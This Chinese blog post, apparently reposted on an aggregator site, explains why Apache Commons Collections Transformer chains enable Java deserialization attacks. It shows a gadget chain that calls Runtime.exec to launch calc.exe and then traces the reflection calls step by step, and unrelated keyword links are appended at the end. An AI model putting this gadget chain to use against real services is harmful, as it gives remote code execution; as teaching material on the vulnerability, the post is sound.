java反序列化 - Transformer类可以执行恶意代码的原理
发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,java反序列化 - Transformer类可以执行恶意代码的原理0x00 代码Transformer[] transformers = new Transformer[]{
千家信息网最后更新 2026年11月01日java反序列化 - Transformer类可以执行恶意代码的原理
java反序列化 - Transformer类可以执行恶意代码的原理
0x00 代码
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}), }; Transformer transformerChain = new ChainedTransformer(transformers); ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut; try { objOut = new ObjectOutputStream(out); objOut.writeObject(transformerChain); transformerChain.transform(null); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); }执行结果:
0x01 Transformer类为什么可以执行恶意代码?
transformerChain.transform(null); 执行的是:ChainedTransformer类的transform方法
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }object = iTransformers[i].transform(object); 执行的是InvokerTransformer类的transform方法
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
通过反射机制调用runtime.class的getMethod方法,继续调用invoke方法生成了一个runtime的对象,最后执行该对象的exec方法,因此造成了反序列化漏洞。
可以参考:
https://blog.51cto.com/13770310/2159962 的0x03 补充
方法
代码
序列
恶意
对象
原理
机制
漏洞
结果
参考
反射
生成
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
什么是科技互联网
互联网科技图片
互联网科技公司经营范围
互联网科技公司华为
互联网为科技
朗新科技与工业互联网
金融科技与互联网金融
世界互联网领先科技成果
互联网 视角下的科技创新
上游互联网科技
海南购全球互联网科技
昭通互联网科技选哪家
荆州市昕露互联网络科技有限公司
中国科技创新与世界互联网大会
如何创新互联网科技
江苏互联网智能科技软件
半导体行业属于互联网高科技类吗
江苏互联网科技小贷
互联网科技手抄报图片
求路客互联网科技电话
互联网科技海报
苏州找大状互联网科技有限公司
广州百单互联网科技有限公司
科技和互联网公司
麻工互联网科技
金融科技 互联网金融
腾讯科技 互联网女皇
长亮科技互联网金融
长亮科技 互联网金融
济南小医互联网科技有限公司招聘